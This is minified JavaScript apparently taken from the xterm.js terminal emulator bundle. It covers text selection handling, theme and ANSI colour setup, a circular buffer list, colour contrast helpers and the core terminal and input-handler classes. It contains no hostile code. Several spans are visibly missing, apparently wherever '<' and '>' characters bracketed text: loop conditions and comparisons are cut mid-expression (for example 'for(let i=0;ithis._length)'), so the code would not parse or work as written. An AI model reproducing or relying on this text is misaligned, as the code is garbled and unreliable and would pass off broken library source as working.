d.isMac?e.altKey&&this._optionsService.rawOptions.macOptionClickForcesSelection:e.shiftKey}handleMouseDown(e){if(this._mouseDownTimeStamp=e.timeStamp,(2!==e.button||!this.hasSelection)&&0===e.button){if(!this._enabled){if(!this.shouldForceSelection(e))return;e.stopPropagation()}e.preventDefault(),this._dragScrollAmount=0,this._enabled&&e.shiftKey?this._handleIncrementalClick(e):1===e.detail?this._handleSingleClick(e):2===e.detail?this._handleDoubleClick(e):3===e.detail&&this._handleTripleClick(e),this._addMouseDownListeners(),this.refresh(!0)}}_addMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.addEventListener("mousemove",this._mouseMoveListener),this._screenElement.ownerDocument.addEventListener("mouseup",this._mouseUpListener)),this._dragScrollIntervalTimer=this._coreBrowserService.window.setInterval((()=>this._dragScroll()),50)}_removeMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.removeEventListener("mousemove",this._mouseMoveListener),this._screenElement.ownerDocument.removeEventListener("mouseup",this._mouseUpListener)),this._coreBrowserService.window.clearInterval(this._dragScrollIntervalTimer),this._dragScrollIntervalTimer=void 0}_handleIncrementalClick(e){this._model.selectionStart&&(this._model.selectionEnd=this._getMouseBufferCoords(e))}_handleSingleClick(e){if(this._model.selectionStartLength=0,this._model.isSelectAllActive=!1,this._activeSelectionMode=this.shouldColumnSelect(e)?3:0,this._model.selectionStart=this._getMouseBufferCoords(e),!this._model.selectionStart)return;this._model.selectionEnd=void 0;const t=this._bufferService.buffer.lines.get(this._model.selectionStart[1]);t&&t.length!==this._model.selectionStart[0]&&0===t.hasWidth(this._model.selectionStart[0])&&this._model.selectionStart[0]++}_handleDoubleClick(e){this._selectWordAtCursor(e,!0)&&(this._activeSelectionMode=1)}_handleTripleClick(e){const t=this._getMouseBufferCoords(e);t&&(this._activeSelectionMode=2,this._selectLineAt(t[1]))}shouldColumnSelect(e){return e.altKey&&!(d.isMac&&this._optionsService.rawOptions.macOptionClickForcesSelection)}_handleMouseMove(e){if(e.stopImmediatePropagation(),!this._model.selectionStart)return;const t=this._model.selectionEnd?[this._model.selectionEnd[0],this._model.selectionEnd[1]]:null;if(this._model.selectionEnd=this._getMouseBufferCoords(e),!this._model.selectionEnd)return void this.refresh(!0);2===this._activeSelectionMode?this._model.selectionEnd[1]0?this._model.selectionEnd[0]=this._bufferService.cols:this._dragScrollAmount<0&&(this._model.selectionEnd[0]=0));const i=this._bufferService.buffer;if(this._model.selectionEnd[1]0?(3!==this._activeSelectionMode&&(this._model.selectionEnd[0]=this._bufferService.cols),this._model.selectionEnd[1]=Math.min(e.ydisp+this._bufferService.rows,e.lines.length-1)):(3!==this._activeSelectionMode&&(this._model.selectionEnd[0]=0),this._model.selectionEnd[1]=e.ydisp),this.refresh()}}_handleMouseUp(e){const t=e.timeStamp-this._mouseDownTimeStamp;if(this._removeMouseDownListeners(),this.selectionText.length<=1&&t<500&&e.altKey&&this._optionsService.rawOptions.altClickMovesCursor){if(this._bufferService.buffer.ybase===this._bufferService.buffer.ydisp){const t=this._mouseService.getCoords(e,this._element,this._bufferService.cols,this._bufferService.rows,!1);if(t&&void 0!==t[0]&&void 0!==t[1]){const e=(0,o.moveToCellSequence)(t[0]-1,t[1]-1,this._bufferService,this._coreService.decPrivateModes.applicationCursorKeys);this._coreService.triggerDataEvent(e,!0)}}}else this._fireEventIfSelectionChanged()}_fireEventIfSelectionChanged(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd,i=!(!e||!t||e[0]===t[0]&&e[1]===t[1]);i?e&&t&&(this._oldSelectionStart&&this._oldSelectionEnd&&e[0]===this._oldSelectionStart[0]&&e[1]===this._oldSelectionStart[1]&&t[0]===this._oldSelectionEnd[0]&&t[1]===this._oldSelectionEnd[1]||this._fireOnSelectionChange(e,t,i)):this._oldHasSelection&&this._fireOnSelectionChange(e,t,i)}_fireOnSelectionChange(e,t,i){this._oldSelectionStart=e,this._oldSelectionEnd=t,this._oldHasSelection=i,this._onSelectionChange.fire()}_handleBufferActivate(e){this.clearSelection(),this._trimListener.dispose(),this._trimListener=e.activeBuffer.lines.onTrim((e=>this._handleTrim(e)))}_convertViewportColToCharacterIndex(e,t){let i=t;for(let s=0;t>=s;s++){const r=e.loadCell(s,this._workCell).getChars().length;0===this._workCell.getWidth()?i--:r>1&&t!==s&&(i+=r-1)}return i}setSelection(e,t,i){this._model.clearSelection(),this._removeMouseDownListeners(),this._model.selectionStart=[e,t],this._model.selectionStartLength=i,this.refresh(),this._fireEventIfSelectionChanged()}rightClickSelect(e){this._isClickInSelection(e)||(this._selectWordAtCursor(e,!1)&&this.refresh(!0),this._fireEventIfSelectionChanged())}_getWordAt(e,t,i=!0,s=!0){if(e[0]>=this._bufferService.cols)return;const r=this._bufferService.buffer,n=r.lines.get(e[1]);if(!n)return;const o=r.translateBufferLineToString(e[1],!1);let a=this._convertViewportColToCharacterIndex(n,e[0]),h=a;const c=e[0]-a;let l=0,d=0,_=0,u=0;if(" "===o.charAt(a)){for(;a>0&&" "===o.charAt(a-1);)a--;for(;h1&&(u+=s-1,h+=s-1);t>0&&a>0&&!this._isCharWordSeparator(n.loadCell(t-1,this._workCell));){n.loadCell(t-1,this._workCell);const e=this._workCell.getChars().length;0===this._workCell.getWidth()?(l++,t--):e>1&&(_+=e-1,a-=e-1),a--,t--}for(;i1&&(u+=e-1,h+=e-1),h++,i++}}h++;let f=a+c-l+_,v=Math.min(this._bufferService.cols,h-a+l+d-_-u);if(t||""!==o.slice(a,h).trim()){if(i&&0===f&&32!==n.getCodePoint(0)){const t=r.lines.get(e[1]-1);if(t&&n.isWrapped&&32!==t.getCodePoint(this._bufferService.cols-1)){const t=this._getWordAt([this._bufferService.cols-1,e[1]-1],!1,!0,!1);if(t){const e=this._bufferService.cols-t.start;f-=e,v+=e}}}if(s&&f+v===this._bufferService.cols&&32!==n.getCodePoint(this._bufferService.cols-1)){const t=r.lines.get(e[1]+1);if((null==t?void 0:t.isWrapped)&&32!==t.getCodePoint(0)){const t=this._getWordAt([0,e[1]+1],!1,!1,!0);t&&(v+=t.length)}}return{start:f,length:v}}}_selectWordAt(e,t){const i=this._getWordAt(e,t);if(i){for(;i.start<0;)i.start+=this._bufferService.cols,e[1]--;this._model.selectionStart=[i.start,e[1]],this._model.selectionStartLength=i.length}}_selectToWordAt(e){const t=this._getWordAt(e,!0);if(t){let i=e[1];for(;t.start<0;)t.start+=this._bufferService.cols,i--;if(!this._model.areSelectionValuesReversed())for(;t.start+t.length>this._bufferService.cols;)t.length-=this._bufferService.cols,i++;this._model.selectionEnd=[this._model.areSelectionValuesReversed()?t.start:t.start+t.length,i]}}_isCharWordSeparator(e){return 0!==e.getWidth()&&this._optionsService.rawOptions.wordSeparator.indexOf(e.getChars())>=0}_selectLineAt(e){const t=this._bufferService.buffer.getWrappedRangeForLine(e),i={start:{x:0,y:t.first},end:{x:this._bufferService.cols-1,y:t.last}};this._model.selectionStart=[0,t.first],this._model.selectionEnd=void 0,this._model.selectionStartLength=(0,_.getRangeLength)(i,this._bufferService.cols)}};t.SelectionService=g=s([r(3,f.IBufferService),r(4,f.ICoreService),r(5,h.IMouseService),r(6,f.IOptionsService),r(7,h.IRenderService),r(8,h.ICoreBrowserService)],g)},4725:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.IThemeService=t.ICharacterJoinerService=t.ISelectionService=t.IRenderService=t.IMouseService=t.ICoreBrowserService=t.ICharSizeService=void 0;const s=i(8343);t.ICharSizeService=(0,s.createDecorator)("CharSizeService"),t.ICoreBrowserService=(0,s.createDecorator)("CoreBrowserService"),t.IMouseService=(0,s.createDecorator)("MouseService"),t.IRenderService=(0,s.createDecorator)("RenderService"),t.ISelectionService=(0,s.createDecorator)("SelectionService"),t.ICharacterJoinerService=(0,s.createDecorator)("CharacterJoinerService"),t.IThemeService=(0,s.createDecorator)("ThemeService")},6731:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.ThemeService=t.DEFAULT_ANSI_COLORS=void 0;const n=i(7239),o=i(8055),a=i(8460),h=i(844),c=i(2585),l=o.css.toColor("#ffffff"),d=o.css.toColor("#000000"),_=o.css.toColor("#ffffff"),u=o.css.toColor("#000000"),f={css:"rgba(255, 255, 255, 0.3)",rgba:4294967117};t.DEFAULT_ANSI_COLORS=Object.freeze((()=>{const e=[o.css.toColor("#2e3436"),o.css.toColor("#cc0000"),o.css.toColor("#4e9a06"),o.css.toColor("#c4a000"),o.css.toColor("#3465a4"),o.css.toColor("#75507b"),o.css.toColor("#06989a"),o.css.toColor("#d3d7cf"),o.css.toColor("#555753"),o.css.toColor("#ef2929"),o.css.toColor("#8ae234"),o.css.toColor("#fce94f"),o.css.toColor("#729fcf"),o.css.toColor("#ad7fa8"),o.css.toColor("#34e2e2"),o.css.toColor("#eeeeec")],t=[0,95,135,175,215,255];for(let i=0;i<216;i++){const s=t[i/36%6|0],r=t[i/6%6|0],n=t[i%6];e.push({css:o.channels.toCss(s,r,n),rgba:o.channels.toRgba(s,r,n)})}for(let t=0;t<24;t++){const i=8+10*t;e.push({css:o.channels.toCss(i,i,i),rgba:o.channels.toRgba(i,i,i)})}return e})());let v=t.ThemeService=class extends h.Disposable{get colors(){return this._colors}constructor(e){super(),this._optionsService=e,this._contrastCache=new n.ColorContrastCache,this._halfContrastCache=new n.ColorContrastCache,this._onChangeColors=this.register(new a.EventEmitter),this.onChangeColors=this._onChangeColors.event,this._colors={foreground:l,background:d,cursor:_,cursorAccent:u,selectionForeground:void 0,selectionBackgroundTransparent:f,selectionBackgroundOpaque:o.color.blend(d,f),selectionInactiveBackgroundTransparent:f,selectionInactiveBackgroundOpaque:o.color.blend(d,f),ansi:t.DEFAULT_ANSI_COLORS.slice(),contrastCache:this._contrastCache,halfContrastCache:this._halfContrastCache},this._updateRestoreColors(),this._setTheme(this._optionsService.rawOptions.theme),this.register(this._optionsService.onSpecificOptionChange("minimumContrastRatio",(()=>this._contrastCache.clear()))),this.register(this._optionsService.onSpecificOptionChange("theme",(()=>this._setTheme(this._optionsService.rawOptions.theme))))}_setTheme(e={}){const i=this._colors;if(i.foreground=p(e.foreground,l),i.background=p(e.background,d),i.cursor=p(e.cursor,_),i.cursorAccent=p(e.cursorAccent,u),i.selectionBackgroundTransparent=p(e.selectionBackground,f),i.selectionBackgroundOpaque=o.color.blend(i.background,i.selectionBackgroundTransparent),i.selectionInactiveBackgroundTransparent=p(e.selectionInactiveBackground,i.selectionBackgroundTransparent),i.selectionInactiveBackgroundOpaque=o.color.blend(i.background,i.selectionInactiveBackgroundTransparent),i.selectionForeground=e.selectionForeground?p(e.selectionForeground,o.NULL_COLOR):void 0,i.selectionForeground===o.NULL_COLOR&&(i.selectionForeground=void 0),o.color.isOpaque(i.selectionBackgroundTransparent)){const e=.3;i.selectionBackgroundTransparent=o.color.opacity(i.selectionBackgroundTransparent,e)}if(o.color.isOpaque(i.selectionInactiveBackgroundTransparent)){const e=.3;i.selectionInactiveBackgroundTransparent=o.color.opacity(i.selectionInactiveBackgroundTransparent,e)}if(i.ansi=t.DEFAULT_ANSI_COLORS.slice(),i.ansi[0]=p(e.black,t.DEFAULT_ANSI_COLORS[0]),i.ansi[1]=p(e.red,t.DEFAULT_ANSI_COLORS[1]),i.ansi[2]=p(e.green,t.DEFAULT_ANSI_COLORS[2]),i.ansi[3]=p(e.yellow,t.DEFAULT_ANSI_COLORS[3]),i.ansi[4]=p(e.blue,t.DEFAULT_ANSI_COLORS[4]),i.ansi[5]=p(e.magenta,t.DEFAULT_ANSI_COLORS[5]),i.ansi[6]=p(e.cyan,t.DEFAULT_ANSI_COLORS[6]),i.ansi[7]=p(e.white,t.DEFAULT_ANSI_COLORS[7]),i.ansi[8]=p(e.brightBlack,t.DEFAULT_ANSI_COLORS[8]),i.ansi[9]=p(e.brightRed,t.DEFAULT_ANSI_COLORS[9]),i.ansi[10]=p(e.brightGreen,t.DEFAULT_ANSI_COLORS[10]),i.ansi[11]=p(e.brightYellow,t.DEFAULT_ANSI_COLORS[11]),i.ansi[12]=p(e.brightBlue,t.DEFAULT_ANSI_COLORS[12]),i.ansi[13]=p(e.brightMagenta,t.DEFAULT_ANSI_COLORS[13]),i.ansi[14]=p(e.brightCyan,t.DEFAULT_ANSI_COLORS[14]),i.ansi[15]=p(e.brightWhite,t.DEFAULT_ANSI_COLORS[15]),e.extendedAnsi){const s=Math.min(i.ansi.length-16,e.extendedAnsi.length);for(let r=0;r{Object.defineProperty(t,"__esModule",{value:!0}),t.CircularList=void 0;const s=i(8460),r=i(844);class n extends r.Disposable{constructor(e){super(),this._maxLength=e,this.onDeleteEmitter=this.register(new s.EventEmitter),this.onDelete=this.onDeleteEmitter.event,this.onInsertEmitter=this.register(new s.EventEmitter),this.onInsert=this.onInsertEmitter.event,this.onTrimEmitter=this.register(new s.EventEmitter),this.onTrim=this.onTrimEmitter.event,this._array=new Array(this._maxLength),this._startIndex=0,this._length=0}get maxLength(){return this._maxLength}set maxLength(e){if(this._maxLength===e)return;const t=new Array(e);for(let i=0;ithis._length)for(let t=this._length;t=e;t--)this._array[this._getCyclicIndex(t+i.length)]=this._array[this._getCyclicIndex(t)];for(let t=0;tthis._maxLength){const e=this._length+i.length-this._maxLength;this._startIndex+=e,this._length=this._maxLength,this.onTrimEmitter.fire(e)}else this._length+=i.length}trimStart(e){e>this._length&&(e=this._length),this._startIndex+=e,this._length-=e,this.onTrimEmitter.fire(e)}shiftElements(e,t,i){if(!(t<=0)){if(e<0||e>=this._length)throw new Error("start argument out of range");if(e+i<0)throw new Error("Cannot shift elements in list beyond index 0");if(i>0){for(let s=t-1;s>=0;s--)this.set(e+s+i,this.get(e+s));const s=e+t+i-this._length;if(s>0)for(this._length+=s;this._length>this._maxLength;)this._length--,this._startIndex++,this.onTrimEmitter.fire(1)}else for(let s=0;s{Object.defineProperty(t,"__esModule",{value:!0}),t.clone=void 0,t.clone=function e(t,i=5){if("object"!=typeof t)return t;const s=Array.isArray(t)?[]:{};for(const r in t)s[r]=i<=1?t[r]:t[r]&&e(t[r],i-1);return s}},8055:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.contrastRatio=t.toPaddedHex=t.rgba=t.rgb=t.css=t.color=t.channels=t.NULL_COLOR=void 0;const s=i(6114);let r=0,n=0,o=0,a=0;var h,c,l,d,_;function u(e){const t=e.toString(16);return t.length<2?"0"+t:t}function f(e,t){return e>>0}}(h||(t.channels=h={})),function(e){function t(e,t){return a=Math.round(255*t),[r,n,o]=_.toChannels(e.rgba),{css:h.toCss(r,n,o,a),rgba:h.toRgba(r,n,o,a)}}e.blend=function(e,t){if(a=(255&t.rgba)/255,1===a)return{css:t.css,rgba:t.rgba};const i=t.rgba>>24&255,s=t.rgba>>16&255,c=t.rgba>>8&255,l=e.rgba>>24&255,d=e.rgba>>16&255,_=e.rgba>>8&255;return r=l+Math.round((i-l)*a),n=d+Math.round((s-d)*a),o=_+Math.round((c-_)*a),{css:h.toCss(r,n,o),rgba:h.toRgba(r,n,o)}},e.isOpaque=function(e){return 255==(255&e.rgba)},e.ensureContrastRatio=function(e,t,i){const s=_.ensureContrastRatio(e.rgba,t.rgba,i);if(s)return _.toColor(s>>24&255,s>>16&255,s>>8&255)},e.opaque=function(e){const t=(255|e.rgba)>>>0;return[r,n,o]=_.toChannels(t),{css:h.toCss(r,n,o),rgba:t}},e.opacity=t,e.multiplyOpacity=function(e,i){return a=255&e.rgba,t(e,a*i/255)},e.toColorRGB=function(e){return[e.rgba>>24&255,e.rgba>>16&255,e.rgba>>8&255]}}(c||(t.color=c={})),function(e){let t,i;if(!s.isNode){const e=document.createElement("canvas");e.width=1,e.height=1;const s=e.getContext("2d",{willReadFrequently:!0});s&&(t=s,t.globalCompositeOperation="copy",i=t.createLinearGradient(0,0,1,1))}e.toColor=function(e){if(e.match(/#[\da-f]{3,8}/i))switch(e.length){case 4:return r=parseInt(e.slice(1,2).repeat(2),16),n=parseInt(e.slice(2,3).repeat(2),16),o=parseInt(e.slice(3,4).repeat(2),16),_.toColor(r,n,o);case 5:return r=parseInt(e.slice(1,2).repeat(2),16),n=parseInt(e.slice(2,3).repeat(2),16),o=parseInt(e.slice(3,4).repeat(2),16),a=parseInt(e.slice(4,5).repeat(2),16),_.toColor(r,n,o,a);case 7:return{css:e,rgba:(parseInt(e.slice(1),16)<<8|255)>>>0};case 9:return{css:e,rgba:parseInt(e.slice(1),16)>>>0}}const s=e.match(/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(,\s*(0|1|\d?\.(\d+))\s*)?\)/);if(s)return r=parseInt(s[1]),n=parseInt(s[2]),o=parseInt(s[3]),a=Math.round(255*(void 0===s[5]?1:parseFloat(s[5]))),_.toColor(r,n,o,a);if(!t||!i)throw new Error("css.toColor: Unsupported css format");if(t.fillStyle=i,t.fillStyle=e,"string"!=typeof t.fillStyle)throw new Error("css.toColor: Unsupported css format");if(t.fillRect(0,0,1,1),[r,n,o,a]=t.getImageData(0,0,1,1).data,255!==a)throw new Error("css.toColor: Unsupported css format");return{rgba:h.toRgba(r,n,o,a),css:e}}}(l||(t.css=l={})),function(e){function t(e,t,i){const s=e/255,r=t/255,n=i/255;return.2126*(s<=.03928?s/12.92:Math.pow((s+.055)/1.055,2.4))+.7152*(r<=.03928?r/12.92:Math.pow((r+.055)/1.055,2.4))+.0722*(n<=.03928?n/12.92:Math.pow((n+.055)/1.055,2.4))}e.relativeLuminance=function(e){return t(e>>16&255,e>>8&255,255&e)},e.relativeLuminance2=t}(d||(t.rgb=d={})),function(e){function t(e,t,i){const s=e>>24&255,r=e>>16&255,n=e>>8&255;let o=t>>24&255,a=t>>16&255,h=t>>8&255,c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));for(;c0||a>0||h>0);)o-=Math.max(0,Math.ceil(.1*o)),a-=Math.max(0,Math.ceil(.1*a)),h-=Math.max(0,Math.ceil(.1*h)),c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));return(o<<24|a<<16|h<<8|255)>>>0}function i(e,t,i){const s=e>>24&255,r=e>>16&255,n=e>>8&255;let o=t>>24&255,a=t>>16&255,h=t>>8&255,c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));for(;c>>0}e.ensureContrastRatio=function(e,s,r){const n=d.relativeLuminance(e>>8),o=d.relativeLuminance(s>>8);if(f(n,o)>8));if(af(n,d.relativeLuminance(t>>8))?o:t}return o}const a=i(e,s,r),h=f(n,d.relativeLuminance(a>>8));if(hf(n,d.relativeLuminance(i>>8))?a:i}return a}},e.reduceLuminance=t,e.increaseLuminance=i,e.toChannels=function(e){return[e>>24&255,e>>16&255,e>>8&255,255&e]},e.toColor=function(e,t,i,s){return{css:h.toCss(e,t,i,s),rgba:h.toRgba(e,t,i,s)}}}(_||(t.rgba=_={})),t.toPaddedHex=u,t.contrastRatio=f},8969:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CoreTerminal=void 0;const s=i(844),r=i(2585),n=i(4348),o=i(7866),a=i(744),h=i(7302),c=i(6975),l=i(8460),d=i(1753),_=i(1480),u=i(7994),f=i(9282),v=i(5435),p=i(5981),g=i(2660);let m=!1;class S extends s.Disposable{get onScroll(){return this._onScrollApi||(this._onScrollApi=this.register(new l.EventEmitter),this._onScroll.event((e=>{var t;null===(t=this._onScrollApi)||void 0===t||t.fire(e.position)}))),this._onScrollApi.event}get cols(){return this._bufferService.cols}get rows(){return this._bufferService.rows}get buffers(){return this._bufferService.buffers}get options(){return this.optionsService.options}set options(e){for(const t in e)this.optionsService.options[t]=e[t]}constructor(e){super(),this._windowsWrappingHeuristics=this.register(new s.MutableDisposable),this._onBinary=this.register(new l.EventEmitter),this.onBinary=this._onBinary.event,this._onData=this.register(new l.EventEmitter),this.onData=this._onData.event,this._onLineFeed=this.register(new l.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onResize=this.register(new l.EventEmitter),this.onResize=this._onResize.event,this._onWriteParsed=this.register(new l.EventEmitter),this.onWriteParsed=this._onWriteParsed.event,this._onScroll=this.register(new l.EventEmitter),this._instantiationService=new n.InstantiationService,this.optionsService=this.register(new h.OptionsService(e)),this._instantiationService.setService(r.IOptionsService,this.optionsService),this._bufferService=this.register(this._instantiationService.createInstance(a.BufferService)),this._instantiationService.setService(r.IBufferService,this._bufferService),this._logService=this.register(this._instantiationService.createInstance(o.LogService)),this._instantiationService.setService(r.ILogService,this._logService),this.coreService=this.register(this._instantiationService.createInstance(c.CoreService)),this._instantiationService.setService(r.ICoreService,this.coreService),this.coreMouseService=this.register(this._instantiationService.createInstance(d.CoreMouseService)),this._instantiationService.setService(r.ICoreMouseService,this.coreMouseService),this.unicodeService=this.register(this._instantiationService.createInstance(_.UnicodeService)),this._instantiationService.setService(r.IUnicodeService,this.unicodeService),this._charsetService=this._instantiationService.createInstance(u.CharsetService),this._instantiationService.setService(r.ICharsetService,this._charsetService),this._oscLinkService=this._instantiationService.createInstance(g.OscLinkService),this._instantiationService.setService(r.IOscLinkService,this._oscLinkService),this._inputHandler=this.register(new v.InputHandler(this._bufferService,this._charsetService,this.coreService,this._logService,this.optionsService,this._oscLinkService,this.coreMouseService,this.unicodeService)),this.register((0,l.forwardEvent)(this._inputHandler.onLineFeed,this._onLineFeed)),this.register(this._inputHandler),this.register((0,l.forwardEvent)(this._bufferService.onResize,this._onResize)),this.register((0,l.forwardEvent)(this.coreService.onData,this._onData)),this.register((0,l.forwardEvent)(this.coreService.onBinary,this._onBinary)),this.register(this.coreService.onRequestScrollToBottom((()=>this.scrollToBottom()))),this.register(this.coreService.onUserInput((()=>this._writeBuffer.handleUserInput()))),this.register(this.optionsService.onMultipleOptionChange(["windowsMode","windowsPty"],(()=>this._handleWindowsPtyOptionChange()))),this.register(this._bufferService.onScroll((e=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)}))),this.register(this._inputHandler.onScroll((e=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)}))),this._writeBuffer=this.register(new p.WriteBuffer(((e,t)=>this._inputHandler.parse(e,t)))),this.register((0,l.forwardEvent)(this._writeBuffer.onWriteParsed,this._onWriteParsed))}write(e,t){this._writeBuffer.write(e,t)}writeSync(e,t){this._logService.logLevel<=r.LogLevelEnum.WARN&&!m&&(this._logService.warn("writeSync is unreliable and will be removed soon."),m=!0),this._writeBuffer.writeSync(e,t)}resize(e,t){isNaN(e)||isNaN(t)||(e=Math.max(e,a.MINIMUM_COLS),t=Math.max(t,a.MINIMUM_ROWS),this._bufferService.resize(e,t))}scroll(e,t=!1){this._bufferService.scroll(e,t)}scrollLines(e,t,i){this._bufferService.scrollLines(e,t,i)}scrollPages(e){this.scrollLines(e*(this.rows-1))}scrollToTop(){this.scrollLines(-this._bufferService.buffer.ydisp)}scrollToBottom(){this.scrollLines(this._bufferService.buffer.ybase-this._bufferService.buffer.ydisp)}scrollToLine(e){const t=e-this._bufferService.buffer.ydisp;0!==t&&this.scrollLines(t)}registerEscHandler(e,t){return this._inputHandler.registerEscHandler(e,t)}registerDcsHandler(e,t){return this._inputHandler.registerDcsHandler(e,t)}registerCsiHandler(e,t){return this._inputHandler.registerCsiHandler(e,t)}registerOscHandler(e,t){return this._inputHandler.registerOscHandler(e,t)}_setup(){this._handleWindowsPtyOptionChange()}reset(){this._inputHandler.reset(),this._bufferService.reset(),this._charsetService.reset(),this.coreService.reset(),this.coreMouseService.reset()}_handleWindowsPtyOptionChange(){let e=!1;const t=this.optionsService.rawOptions.windowsPty;t&&void 0!==t.buildNumber&&void 0!==t.buildNumber?e=!!("conpty"===t.backend&&t.buildNumber<21376):this.optionsService.rawOptions.windowsMode&&(e=!0),e?this._enableWindowsWrappingHeuristics():this._windowsWrappingHeuristics.clear()}_enableWindowsWrappingHeuristics(){if(!this._windowsWrappingHeuristics.value){const e=[];e.push(this.onLineFeed(f.updateWindowsModeWrappedState.bind(null,this._bufferService))),e.push(this.registerCsiHandler({final:"H"},(()=>((0,f.updateWindowsModeWrappedState)(this._bufferService),!1)))),this._windowsWrappingHeuristics.value=(0,s.toDisposable)((()=>{for(const t of e)t.dispose()}))}}}t.CoreTerminal=S},8460:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.forwardEvent=t.EventEmitter=void 0,t.EventEmitter=class{constructor(){this._listeners=[],this._disposed=!1}get event(){return this._event||(this._event=e=>(this._listeners.push(e),{dispose:()=>{if(!this._disposed)for(let t=0;tt.fire(e)))}},5435:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.InputHandler=t.WindowsOptionsReportType=void 0;const n=i(2584),o=i(7116),a=i(2015),h=i(844),c=i(482),l=i(8437),d=i(8460),_=i(643),u=i(511),f=i(3734),v=i(2585),p=i(6242),g=i(6351),m=i(5941),S={"(":0,")":1,"*":2,"+":3,"-":1,".":2},C=131072;function b(e,t){if(e>24)return t.setWinLines||!1;switch(e){case 1:return!!t.restoreWin;case 2:return!!t.minimizeWin;case 3:return!!t.setWinPosition;case 4:return!!t.setWinSizePixels;case 5:return!!t.raiseWin;case 6:return!!t.lowerWin;case 7:return!!t.refreshWin;case 8:return!!t.setWinSizeChars;case 9:return!!t.maximizeWin;case 10:return!!t.fullscreenWin;case 11:return!!t.getWinState;case 13:return!!t.getWinPosition;case 14:return!!t.getWinSizePixels;case 15:return!!t.getScreenSizePixels;case 16:return!!t.getCellSizePixels;case 18:return!!t.getWinSizeChars;case 19:return!!t.getScreenSizeChars;case 20:return!!t.getIconTitle;case 21:return!!t.getWinTitle;case 22:return!!t.pushTitle;case 23:return!!t.popTitle;case 24:return!!t.setWinLines}return!1}var y;!function(e){e[e.GET_WIN_SIZE_PIXELS=0]="GET_WIN_SIZE_PIXELS",e[e.GET_CELL_SIZE_PIXELS=1]="GET_CELL_SIZE_PIXELS"}(y||(t.WindowsOptionsReportType=y={}));let w=0;class E extends h.Disposable{getAttrData(){return this._curAttrData}constructor(e,t,i,s,r,h,_,f,v=new a.EscapeSequenceParser){super(),this._bufferService=e,this._charsetService=t,this._coreService=i,this._logService=s,this._optionsService=r,this._oscLinkService=h,this._coreMouseService=_,this._unicodeService=f,this._parser=v,this._parseBuffer=new Uint32Array(4096),this._stringDecoder=new c.StringToUtf32,this._utf8Decoder=new c.Utf8ToUtf32,this._workCell=new u.CellData,this._windowTitle="",this._iconName="",this._windowTitleStack=[],this._iconNameStack=[],this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=l.DEFAULT_ATTR_DATA.clone(),this._onRequestBell=this.register(new d.EventEmitter),this.onRequestBell=this._onRequestBell.event,this._onRequestRefreshRows=this.register(new d.EventEmitter),this.onRequestRefreshRows=this._onRequestRefreshRows.event,this._onRequestReset=this.register(new d.EventEmitter),this.onRequestReset=this._onRequestReset.event,this._onRequestSendFocus=this.register(new d.EventEmitter),this.onRequestSendFocus=this._onRequestSendFocus.event,this._onRequestSyncScrollBar=this.register(new d.EventEmitter),this.onRequestSyncScrollBar=this._onRequestSyncScrollBar.event,this._onRequestWindowsOptionsReport=this.register(new d.EventEmitter),this.onRequestWindowsOptionsReport=this._onRequestWindowsOptionsReport.event,this._onA11yChar=this.register(new d.EventEmitter),this.onA11yChar=this._onA11yChar.event,this._onA11yTab=this.register(new d.EventEmitter),this.onA11yTab=this._onA11yTab.event,this._onCursorMove=this.register(new d.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onLineFeed=this.register(new d.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onScroll=this.register(new d.EventEmitter),this.onScroll=this._onScroll.event,this._onTitleChange=this.register(new d.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onColor=this.register(new d.EventEmitter),this.onColor=this._onColor.event,this._parseStack={paused:!1,cursorStartX:0,cursorStartY:0,decodedLength:0,position:0},this._specialColors=[256,257,258],this.register(this._parser),this._dirtyRowTracker=new k(this._bufferService),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate((e=>this._activeBuffer=e.activeBuffer))),this._parser.setCsiHandlerFallback(((e,t)=>{this._logService.debug("Unknown CSI code: ",{identifier:this._parser.identToString(e),params:t.toArray()})})),this._parser.setEscHandlerFallback((e=>{this._logService.debug("Unknown ESC code: ",{identifier:this._parser.identToString(e)})})),this._parser.setExecuteHandlerFallback((e=>{this._logService.debug("Unknown EXECUTE code: 